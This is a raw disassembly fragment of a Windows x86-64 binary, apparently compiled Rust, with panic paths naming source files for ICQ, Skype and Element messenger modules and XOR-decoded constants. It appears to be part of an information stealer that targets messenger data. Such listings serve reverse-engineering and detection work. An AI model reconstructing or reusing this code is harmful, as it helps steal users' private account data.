mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x120], 2
jmp 0x1400159c5
lea r12, [rsp + 0x120]
lea rax, [rsp + 0x500]
mov ecx, 9
mov rdi, r12
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [r12], 2
jne 0x140015a3b
lea rcx, [rsp + 0x128]
call fcn.14006467d
test rbx, rbx
je 0x1400159e9
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x40], 0
mov rsi, qword [rsp + 0xb8]
je 0x140015a0d
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
je 0x140015a26
mov r8, qword [rsi + 8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0xc58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x30], rbx
lea rcx, [0x1402a679b]
lea rsi, [rsp + 0x500]
mov qword [rsi], rcx
mov rcx, qword [rsi]
movabs rdx, 0xe97e68aeb9b5c783
mov qword [rsi], rdx
mov rdx, qword [rsi]
call fcn.14000a7b0
movabs rcx, 0xe20686d823f82ec8
xor rcx, qword [rax]
mov qword [rsp + 0x448], rcx
mov qword [rsp + 0x770], r14
mov qword [rsp + 0x778], 8
lea rax, [rsp + 0x40]
mov qword [rsp + 0x120], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x130], rax
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
mov qword [rsi], 0
lea rax, [0x140371678]
mov qword [rsi + 0x10], rax
mov eax, 2
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x28], rax
lea rdi, [rsp + 0xa00]
mov rcx, rdi
mov rdx, rsi
call fcn.140030660
mov rcx, rdi
call fcn.14012d83b
mov qword [rsi], rax
test rax, rax
je 0x140015b21
lea rcx, [rsp + 0x500]
call fcn.14006467d
lea rbx, [rsp + 0x500]
mov rcx, rbx
mov qword [rsp + 0x28], rbp
mov rdx, rbp
mov r8, r15
call fcn.1401674f0
xor r8d, r8d
mov qword [rbx + 0x20], r8
mov qword [rbx + 0x30], 0xa
mov qword [rbx + 0x38], r8
mov word [rbx + 0x48], 0
mov byte [rbx + 0x4a], 0
mov qword [rbx + 0x40], 1
lea rbp, [rsp + 0x120]
mov ecx, 0xa
mov rdi, rbp
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rbx + 0x20], xmm2
movaps xmmword [rbx + 0x30], xmm3
movups xmm2, xmmword [rbp + 0x40]
movaps xmmword [rbx + 0x40], xmm2
movaps xmmword [rbx], xmm0
movaps xmmword [rbx + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x778], xmm0
lea rax, [rsp + 0xa00]
lea rsi, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x780]
mov qword [rsp + 0x3d0], rcx
movups xmm1, xmmword [rsp + 0x770]
movaps xmmword [rsp + 0x3c0], xmm1
lea rdx, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x50], r8
movaps xmm1, xmmword [rsp + 0x3c0]
movups xmmword [rdx + 0x58], xmm1
mov rax, qword [rsp + 0x3d0]
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x70], r8
mov r13d, 8
mov qword [rdx + 0x78], r13
movups xmmword [rdx + 0x80], xmm0
mov qword [rdx + 0x90], r13
movups xmmword [rdx + 0x98], xmm0
mov qword [rdx + 0xa8], r13
mov qword [rdx + 0xb0], r8
lea rax, [rsp + 0x98]
add r13, rax
mov rcx, rbp
mov rdx, rbx
call fcn.14017b3d2
mov rax, qword [rsp + 0x150]
cmp rax, 2
je 0x140015dc9
cmp eax, 3
je 0x140015df1
mov r14, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x128]
mov rdi, qword [rsp + 0x130]
mov rcx, rsi
mov rdx, rdi
call fcn.140156590
test rax, rax
cmove rax, rsi
cmove rdx, rdi
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015e41
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rdx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x770], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x778], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x780], rax
lea rax, [0x140037710]
mov qword [rsp + 0x788], rax
mov qword [rsp + 0x120], 0
lea rax, [0x1402af598]
mov qword [rsp + 0x130], rax
mov ecx, 2
mov qword [rsp + 0x138], rcx
lea rax, [rsp + 0x770]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
lea rcx, [rsp + 0x448]
mov rdx, rbp
call fcn.140030660
mov r12, qword [rsp + 0x448]
mov r15, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x98]
mov rdx, rsi
mov r8, rdi
mov r9, r15
call fcn.140167200
cmp qword [rsp + 0x98], 0
je 0x140015d92
mov rcx, r13
call fcn.14006467d
test r12, r12
je 0x140015da9
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r14, r14
je 0x140015c52
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140015c52
mov ecx, 9
lea rax, [rsp + 0x770]
mov rdi, rax
lea rsi, [rsp + 0x158]
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
call fcn.140004c54
jmp 0x140015c52
lea rcx, [rsp + 0x120]
call fcn.140004252
lea rcx, [rsp + 0x500]
call fcn.1400045a1
cmp qword [rsp + 0x30], 0
mov rbp, qword [rsp + 0x28]
jne 0x1400159d7
jmp 0x1400159e9
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcmessengersicq.rs
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcmessengers_skype.rs
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, str.srcmessengerselement.rs
mov edx, 0x2b
call fcn.1402a6560
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x140371750]
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x1403717a0]
jmp 0x140015e4f
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
lea r8, [rsp + 0x500]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcmessengersicq.rs
jmp 0x140015ef7
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
lea r8, [rsp + 0x500]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcmessengers_skype.rs
jmp 0x140015ef7
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
lea r8, [rsp + 0x500]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcmessengerselement.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1403a0f2b]
lea r9, fcn.140004660
mov edx, 0x2b
call fcn.1402a68e0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x1403717b8]
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x1403717d0]
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x1403717e8]
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x140371770]
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x140371788]
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x1403716e0]
jmp 0x140015e4f
lea rcx, str.called__Option::unwrap____on_a__None__valuecalled__Result::unwrap____on_an__Err__value
lea r8, [0x140371728]
jmp 0x140015e4f
add byte [rax], al
add byte [rax], al
or eax, dword [rbx]
add byte [rax], al
invalid